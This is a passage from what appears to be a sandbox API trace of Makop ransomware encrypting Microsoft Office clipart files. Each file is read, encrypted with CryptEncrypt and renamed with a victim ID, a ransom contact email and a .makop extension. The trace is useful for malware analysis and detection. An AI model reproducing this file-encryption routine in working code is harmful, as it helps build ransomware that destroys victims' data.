Office\\CLIPART\\PUB60COR\\J0213243.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.160] CloseHandle (hObject=0xf0) returned 1 [0131.160] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0213449.WMF", cAlternateFileName="")) returned 1 [0131.160] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF") returned 63 [0131.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.161] GetProcessHeap () returned 0x48a0000 [0131.161] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.161] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.161] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.161] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.161] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.162] GetProcessHeap () returned 0x48a0000 [0131.162] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.162] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.162] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.162] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.168] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.168] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.168] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.168] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.168] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.168] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.168] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.169] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.169] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xf00, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xf00, lpOverlapped=0x0) returned 1 [0131.169] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf00, dwBufLen=0xf00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf00) returned 1 [0131.169] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.169] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xf00, lpOverlapped=0x0) returned 1 [0131.169] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.169] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xfd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.169] SetEndOfFile (hFile=0xf0) returned 1 [0131.176] GetProcessHeap () returned 0x48a0000 [0131.176] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.176] GetProcessHeap () returned 0x48a0000 [0131.176] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.176] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.177] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.179] CloseHandle (hObject=0xf0) returned 1 [0131.179] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7cb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0214934.WMF", cAlternateFileName="")) returned 1 [0131.179] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF") returned 63 [0131.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.180] GetProcessHeap () returned 0x48a0000 [0131.180] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.181] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.181] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.181] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0131.194] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.194] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.194] GetProcessHeap () returned 0x48a0000 [0131.194] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.194] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.195] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.195] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.195] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.195] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.195] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.195] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.195] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.196] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.196] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.196] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.196] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7cb6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7cb6, lpOverlapped=0x0) returned 1 [0131.198] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7cc0, dwBufLen=0x7cc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7cc0) returned 1 [0131.198] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.198] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7cc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7cc0, lpOverlapped=0x0) returned 1 [0131.198] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.198] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7d94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.199] SetEndOfFile (hFile=0xf0) returned 1 [0131.205] GetProcessHeap () returned 0x48a0000 [0131.205] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.205] GetProcessHeap () returned 0x48a0000 [0131.205] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.206] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.206] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.207] CloseHandle (hObject=0xf0) returned 1 [0131.207] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaefa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0214948.WMF", cAlternateFileName="")) returned 1 [0131.207] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF") returned 63 [0131.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.210] GetProcessHeap () returned 0x48a0000 [0131.210] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.210] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.210] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.210] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0131.218] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.219] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.219] GetProcessHeap () returned 0x48a0000 [0131.219] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.219] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.219] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.219] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.219] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.219] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.219] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.220] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.220] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.220] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.220] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.220] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.220] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xaefa, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xaefa, lpOverlapped=0x0) returned 1 [0131.222] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xaf00, dwBufLen=0xaf00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xaf00) returned 1 [0131.223] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.223] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xaf00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xaf00, lpOverlapped=0x0) returned 1 [0131.223] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.223] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xafd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.223] SetEndOfFile (hFile=0xf0) returned 1 [0131.230] GetProcessHeap () returned 0x48a0000 [0131.231] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.231] GetProcessHeap () returned 0x48a0000 [0131.231] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.231] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.231] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.232] CloseHandle (hObject=0xf0) returned 1 [0131.232] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26227e00, ftCreationTime.dwHighDateTime=0x1be5489, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26227e00, ftLastWriteTime.dwHighDateTime=0x1be5489, nFileSizeHigh=0x0, nFileSizeLow=0x2d6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215070.WMF", cAlternateFileName="")) returned 1 [0131.233] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF") returned 63 [0131.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215070.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215070.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.234] GetProcessHeap () returned 0x48a0000 [0131.234] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.234] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.234] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.234] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.238] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.238] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.238] GetProcessHeap () returned 0x48a0000 [0131.239] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.239] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.239] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.239] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.239] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.239] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.239] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.240] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.240] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.240] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.240] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.240] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.241] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2d6c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2d6c, lpOverlapped=0x0) returned 1 [0131.242] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2d70, dwBufLen=0x2d70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2d70) returned 1 [0131.242] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.242] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2d70, lpOverlapped=0x0) returned 1 [0131.243] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.243] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2e44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.243] SetEndOfFile (hFile=0xf0) returned 1 [0131.250] GetProcessHeap () returned 0x48a0000 [0131.250] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.250] GetProcessHeap () returned 0x48a0000 [0131.250] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.250] wsprintfW (in: param_1=0x48c4f5c, 